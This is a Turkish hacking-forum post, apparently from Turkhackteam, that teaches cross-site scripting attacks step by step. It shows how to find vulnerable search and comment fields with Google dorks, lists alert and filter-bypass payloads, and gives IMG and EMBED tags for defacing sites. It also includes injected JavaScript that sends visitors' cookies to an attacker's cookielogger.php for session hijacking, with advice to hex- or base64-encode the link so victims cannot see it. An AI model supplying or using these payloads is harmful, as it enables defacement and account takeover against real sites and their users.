xss hakkında herşey...

¿__Ms-DoS__?

Katılımcı Üye
19 Mar 2009
290
0
30
Trabzon
Bölüm 1 - xss Nedir?

“CSS” olarak da bilinen “xss”( Cascading Style Sheets ile karıştırılan Cross Site Scripting) web uygulamalarında sıklıkla karşılaşılan bir açıktır. xss saldırgana kötü niyetli kodlar eklemesine imkan tanımaktadır. xss saldırılarının birçok çeşidi mevcuttur. Şimdi ben burada en çok kullanılan 3 tanesi üzerinde duracağım.

Bahsetmek istediğim ilk saldırı turu URL xss’dir. Bu yöntem xss’in sayfada kalmayacağı anlamına gelir. Bu durumda xss, sadece kodu alıp “submit” ettiğimizde çalışacaktır. Bunu kendi lehimize nasıl kullanırız bundan daha çok bahsedeceğiz.

İkinci saldırı girdi alanlarındadır. Datayı nereye eklerseniz ekleyin çoğunlukla xss olur. Örnek olarak bir arama motoru kullanarak bir site bulduk. Arama kutucuğuna “hacker” diye yazın ve aratın. Sayfa yüklendiğinde eğer derse ki; “hacker” için 100 sonuç bulundu, veriyi sayfada gösterdiğini göreceksiniz. Şimdi ya kodu çalıştırırsak? Bu saldırıda PHP kodu çalıştırmak mümkün değildir ancak HTML ve JavaScript kodlarını çalıştırmak mümkündür. Bu arada bu yönteme dikkat edin sunucuda kalmayacaktır.

Üçüncü saldırı yöntemi; bu yöntem ile kodu ilave edebilirsiniz ve kod sitede kalıcı olacaktır.
PHP ve HTML çalıştırıp çalıştıramayacağımıza bağlı olan iki çeşit kodumuz var. Eğer PHP’yi enjekte edersek aynı HTML’yi de enjekte edebiliriz. Bu tarz saldırılar genellikle blog’larda ve profillerde bulunur. Forumlar ise çoğu yerine veri ekleyebildiğiniz ve verilerin eklenilen yerde kaldığı alanlardır. HTML, PHP’den çok farklıdır. HTML bilgisayarınıza “download” edilir ve tarayıcınızda bunu çözümler ( bu nedenle sayfa kaynakları görüntülenebilir). PHP ile de kod, scriptin barındırıldığı sunucu üzerinde çözümlenir, daha sonra veri tarayıcıya geri gönderilir. PHP enjeksiyon için bu durum çok nadirdir. Not: PHP kod asla HTML sayfaya enjekte edilemez.


Bölüm 2 - xss Açıklarını Bulma

Bu açıkları bulabilmek için Blog’ları, Forum’ları, Shoutbox’ları, yorum kutularını ve arama kutucuklarını deneyerek başlayabilirsiniz. Aslında burada bahsedilenlerden daha fazla örnek vermek mümkündür.

Google Dork’ları daha kolay bulmak için kullanılabilir. Örnek olarak google.com girerek inurl:”search.php?q=” yazabilirsiniz. Simdi bu bulunabilen çok genel bir sayfadır ve birçok sonuç elde edebilirsiniz. Daha fazla saldırı bulabilmek için diğer bolüme geçin.

Aynı zamanda çoğu sitenin xss açığı bulunduğunu unutmayın ve bunu bulabilmek için sadece iyi bir göz ve birazda filtrelemeye nasıl bypass yapılacağı hakkında bilgi sahibi olmak yeterlidir.





Bölüm 3 - xss Üzerine Temel Kavramlar

Simdi en çok kullanılan xss olmak üzere en genelinden öğrenmeye başlayalım.
En yaygın olanı **********alert("xss")</script>.

Bu kod “xss” tırnak işaretleri olmaksızın, kolaylıkla düzenlenebilir seklinde bir “popup” ikazı verecektir.

Bu nedenle, bahsettiğimiz eyleri hatırladığınızı varsayarak bundan bir önceki konuya geri döndüğümüzde, search.php?q= bunu basitçe bir web sitesi üzerinde deneyebiliriz.
http://site.com/search.php?q=**********alert("xss")</script>

Büyük bir olasılıkla çalışacaktır ancak yinede çalışmazsa sorun değil, baksa sitelerde de değişik varyasyonlarını deneyebilirsiniz.( ben çoğu kişinin, sadece JavaScript değil HTML kodlar da ekleyebileceklerinin farkında olduklarını sanmıyorum)

http://site.com/search.php?q=<br><br><b><u>xss</u></b>

Eğer kalın fontla yazılmış metni ve haber baslığını görürseniz açık bulunduğunu biliyorsunuzdur ve artık daha sonra izah edeceğimiz yöntemleri de kullanabilirisiniz.


Bölüm 4 - Saldırı Yöntemleri

Evet, artık xss nasıl çalışır bunu öğrendik, simdi de bazı xss deface metotlarını izah edebiliriz. Deface için kullanılabilecek birçok yöntem vardır ve ben bunlardan en etkili ve en yaygın olanları üzerinde duracağım.

İlki IMG SRC olanıdır. HTML bilmeyenler için IMG SRC, kendisine link’lenmiş olan resmi web sitesinde göstermek için kullanılan bir tag’dır.

<html><bOdy><IMG src= "http://site.com/yourDefaceIMAGE.png">

Eğer link’i geçerli bir resim linki ile değiştirir, kaydeder ve çalıştırırsanız ne demek istediğimi daha iyi anlayacaksınız.

Şimdi diyelim ki Shoutbox, Commentbox veya siz verilerinizi girdikten ve onayladıktan sonra, girdiğiniz verileri gösteren herhangi bir yer buldunuz. Resmi sayfada gösterebilmek için aşağıda vermiş olduğum link’i ekleyebilirsiniz.

<IMG src= "http://site.com/yourDefaceIMAGE.png">

Diğer tag’lara gerek yok çünkü sayfa onları zaten barındırmaktadır (çok ıstınsa durumlarda barındırmayabilirde).

Bu resminizin daha büyük görünmesini sağlar ve site net bir şekilde hacklenmiş olur.
Diğer bir yöntemde flash videoların kullanımıdır. Aşağıdaki yöntemle aynıdır ancak biraz daha afilli bir yöntemdir.

<EMBED src= "http://site.com/xss">
Burada ise, kendisine link’lenmiş olan flash video çalıştırılacaktır.
Ya da Pop veya yönlendirme de kullanıyor olabilir

**********window.open( "http://www.google.com/" )</script>


Bölüm 5 - Çerez (Cookie) Çalma

En etkili yöntem olduğu için bunu eklemek istedim.
Önce https://tik.lat/qzT3s (ben baktım link çalışmıyor)

Sitesinden cookie logger’i indirelim. Simdi dosyayı edindik ve a.php seklindeki dosyamızı serverımıza upload ediyoruz. Log.txt dosyasını oluşturmayı var chmod 777 yapmayı unutmayın. Simdi ise herhangi bir saldırıyı gerçekleştirebileceğimiz, xss açığı olan bir site
bulun. Simdi ise su kodu ekleyin;

window.******** = "http://yourServer.com/cookielogger.php?c="+********.cookie

veya

********.******** = "http://yourServer.com/cookielogger.php?c="+********.cookie

Bundan sonra kullanıcı eğer siteyi ziyaret ederse cookie loggeri yemiş olacaktır. Gerekli bilgiler siteye gönderilmiş ve cookie’ler çalınmış olacaktır.

İkinci kısım ise daha gizli kapaklıdır.
Cookie’ler için dosyanıza bakın ve sonra kullanıcının oturumunu yönlendirebilirsiniz.
Ancak eğer derseniz ki ya bizim sitemizin bu tarz bir saldırı olanağı yok, sadece datayı bir kez gösteriyor ve onu saklamıyorsa?

Diyelim ki bizim search.php?q= diye bir sayfa elimizde, biz bunu aşağıdaki kodu kullanarak ondan zararlı bir url elde edebiliriz ve belki hex belkide base64 onu encode eder ve insanlar kodu goremezler

https://tik.lat/mmwgL = "http://yourServer.com/cookielogger.php?c="+********.cookie


Bölüm 6 - Filtreleme İşlemini ByPass Etmek

Çoğu sitede acık var gözükebilir ancak kod çalıştırmaz, bunu çözebilmek için bu bolumu iyi not edin. Filtreleme işlemini ByPass etmek için kullanılan bazı genel yöntemler;

’)alert(’xss’);

or

");alert(’xss’);

Bunlar açık olan bir serverda bu kodun **********alert("xss")</script> yaptığının aynısını yaparlar. Datayı onaylamadan önce Hexing yada base 64 encoding etmeyi deneyebilirsiniz.

Su hususa dikkat edin; xss’i test etmek için (“xss”) ikazı kullanmak hiç de iyi bir pratik yapma yöntemi değildir çünkü ben xss harflerini engelleyen sitelerin olduğunu biliyorum.

Filtrelemeyi bypass edebilmek için diğer yollar;

<script type=text/javascript>alert("CyberWarrior")</script>
**********alert("CyberWarrior")</script>;
**********alert("CyberWarrior");</script>
**********alert("CyberWarrior"/)</script>
**********var var = 1; alert(var)</script>


Bölüm 7 - İleri Seviye xss

Bu bolümde sağlam olan belli başlı yöntemleri inceleyeceğiz ki, kendimin bile daha kullanıldığına hiç rastlamadığım yöntemler, eminim beğeneceksiniz.
“Sihirli İşaretlerin” kullanıma acık olduğu ve bu nedenle bazı komutları gereksiz kılan birçok site gördüm. Ancak kesirli sayıları kullanarak onları ASCII’ye çeviren bir yönteme rastladım. Kesirli sayıları ASCII’ye çevirmek için gerekli fonksiyonları içeren bütün bir tabloyu
Ascii Table - ASCII character codes and html, octal, hex and decimal chart conversion
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.